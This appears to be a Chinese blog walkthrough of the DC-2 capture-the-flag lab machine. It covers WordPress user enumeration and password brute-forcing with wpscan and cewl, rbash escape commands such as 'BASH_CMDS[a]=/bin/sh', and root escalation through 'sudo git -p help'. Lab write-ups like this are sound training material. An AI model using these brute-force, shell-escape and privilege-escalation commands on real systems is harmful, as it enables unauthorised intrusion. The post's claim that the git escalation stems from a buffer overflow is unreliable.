zoukankan      html  css  js  c++  java
  • 靶机DC-2 rbash绕过+git提权

    这个靶机和DC-1一样,一共5个flag。全部拿到通关。

    root@kali:/home/kali# nmap -sP 192.168.1.*
    

    先扫一下靶机的IP地址,拿到靶机的地址为192.168.1.3。
    再详细的对靶机进行扫描,尽可能多的获取靶机的信息。信息收集对于渗透测试非常重要,能否挖到漏洞往往取决于目标信息是否尽可能多的被收集。

    root@kali:/home/kali# nmap -sS -Pn -A -p- -n 192.168.1.9
    //-n/-R: -n表示不对目标最DNS解析,-R表示进行DNS解析,缺省为必要时候进行DNS解析
    //-Pn:跳过主机发现,视所有主机都在线
    //-A:使用系统探测、版本检测、脚本扫描、路由追踪
    

    这里被坑了一下,在拿到端口的时候却无法访问,看WP才知道是域名解析的问题,在访问IP地址时会自动跳转到http://dc-2,其实在扫描的时候就有说到dc-2没有被写入,奈何太simple,忽略了。

    将192.168.1.9 dc-2写入到hosts文件中,windows下的hosts文件的路径是

    c:windowssystem32driversetchosts
    

    从我们扫描的结果来看这个站用的是WordPress,这是一个PHP语言和MySQL开发的博客平台。暴出过不少的漏洞。我们可以利用他的一些漏洞来getshell。
    在成功访问目标的80端口的时候我们也拿到了第一个flag。意思大概就是使用一般的字典可能不管用,可能需要用到cewl,字典包含的密码多总是好的,但是不可能包含所有的,登录可以看到下一个flag。

    cewl是一个字典生成工具。详情参考 https://www.freebuf.com/articles/network/190128.html
    从第一个flag给的提示来看,应该是用cewl生成这个网站的字典然后登陆。

    root@kali:/home/kali# cewl -w dc-2-password http://dc-2/
    root@kali:/home/kali# cat dc-2-password 
    


    生成了字典,但是网站并没有直接给后台的入口,那么我们可以扫这个网站的目录。
    这里用到WpSan这款工具,WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞,
    详情参考 https://www.freebuf.com/sectool/174663.html

    root@kali:/home/kali# wpscan --url http://dc-2 --enumerate u
    //–enumerate选项来扫描并发现关于目标站点主题、插件和用户名信息
    


    获取到的信息:网站的几个目录,WordPress的版本,WordPress采用的主题,三个用户admin,jerry,tom。那么我们可以将拿到的三个用户写入字典当成用户名爆破

    root@kali:/home/kali# touch dc-2-username
    root@kali:/home/kali# vim dc-2-username   //将三个用户名写进去
    root@kali:/home/kali# cat dc-2-username 
    admin
    jerry
    tom
    

    然后爆破

    root@kali:/home/kali# wpscan --url http://dc-2 -U dc-2-username -P dc-2-password 
    

    拿到jerry和tom的用户密码:adipiscing和parturient

    但是我们并没有拿到网站的后台路径,常规思路扫后台。这里用dirb工具

    root@kali:/home/kali# dirb http://dc-2
    

    拿到后台的路径

    用得到的两个用户名和密码登录。在jerry的账号里面拿到第二个flag,第二的flag的意思是如果你无法找到利用WordPress的捷径,还有另外一种方法,希望你能找到另一种方法。

    做到这好像思路就断了,flag2没给什么有用的提示呀。在nmao扫描的时候还有一个点没用上,开放了7744端口ssh。我们用ssh连接DC-2主机试下。jerry账号连接显示权限限制,tom账号可以连接上。

    root@kali:/home/kali# ssh tom@192.168.1.9 -p 7744
    


    查看当前目录下的文件,拿到flag3.txt,单纯的我一开始以为这个就是flag3的内容,再看一眼这好像是报错信息吧。不懂就谷歌,rbash就是受限制的bash,一般管理员会限制很多命令,显然这里cat命令无法使用。

    那查看可用的命令有哪些。

    可以使用的命令有less、ls、scp、vi。这里涉及到了rbash逃逸(啥呀,待会去瞅瞅)
    使用less绕过:$less test 然后!'sh'
    使用ls绕过:$man ls 然后!'sh'
    使用vi绕过:$vi test 然后:!/bin/sh 或者 :!/bin/bash
    还可以用 BASH_CMDS[a]=/bin/sh;a 直接绕过

    tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a	//切换shell
    $ export PATH=$PATH:/bin/	//添加$PATH,cat和su都在/bin下
    $ export PATH=$PATH:/usr/bin	//sudo在/usr/bin下
    $ cat flag3.txt
    

    拿到flag3的内容。意思是可怜的Tom总是在追逐jerry,为jerry给他造成的压力他需要切换用户。

    这里切换成jerry用户拿到flag4。

    $ su jerry  //切换用户
    Password: 
    

    切换到jerry的用户目录拿到flag4。意思到了最后一步我们需要拿到最后的Flag。最后一句提示要用到git。

    这里用git提权,原理是git存在缓冲区溢出漏洞,在使用sudo git -p help时,不需要输入root密码即可以root权限执行这条命令。

    jerry@DC-2:~$ sudo git -p help
    


    进入到root目录下,拿到最后的flag。

    总结这个靶机涉及到的点:

    1、linux下的hosts文件路径

    /etc/hosts
    

    2、cewl工具
    CeWL是一款以爬虫模式在指定URL上收集单词的工具,可以将它收集到的单词纳入密码字典,以提高密码破解工具的成功率。

    cewl http://www.ignitetechnologies.in/  //默认方法
    cewl http://www.ignitetechnologies.in/ -w dict.txt   //-w
    cewl http://www.ignitetechnologies.in/ -m 9  //生成长度至少为9的密码  -m
    cewl http://www.ignitetechnologies.in/ -n -e  //从网站中获取Email   -e
    cewl http://www.ignitetechnologies.in/ -c  //计算网站字典中重复的单词数量  -c
    cewl http://www.ignitetechnologies.in/ -d 3  //增加爬虫的爬取深度以生成更大的字典文件  -d
    cewl http://www.ignitetechnologies.in/ --debug     //提取调试信息   -debug
    

    3、WPScan工具
    转载两篇大佬的文章,写得挺详细的
    https://www.freebuf.com/sectool/88653.html 如何使用WPScan辅助渗透WordPress网站
    https://xz.aliyun.com/t/2794#toc-0 WPScan使用完整教程之记一次对WordPress的渗透过程
    4、linux的环境变量
    PATH变量:设定解释器搜索所执行的的命令的路径。
    export命令可以吧一般变量转换成全局变量
    5、rbash逃逸
    https://xz.aliyun.com/t/7642 rbash逃逸大全
    6、git提权

    sudo git help config
    	!/bin/bash或者!'sh'完成提权
    sudo git  -p help
    	!/bin/bash
    
  • 相关阅读:
    Longest Palindromic Substring
    PayPal MLSE job description
    Continuous Median
    Remove Duplicates From Linked List
    Valid IP Address
    Longest substring without duplication
    Largest range
    Subarray sort
    Multi String Search
    Suffix Trie Construction
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/12803808.html
Copyright © 2011-2022 走看看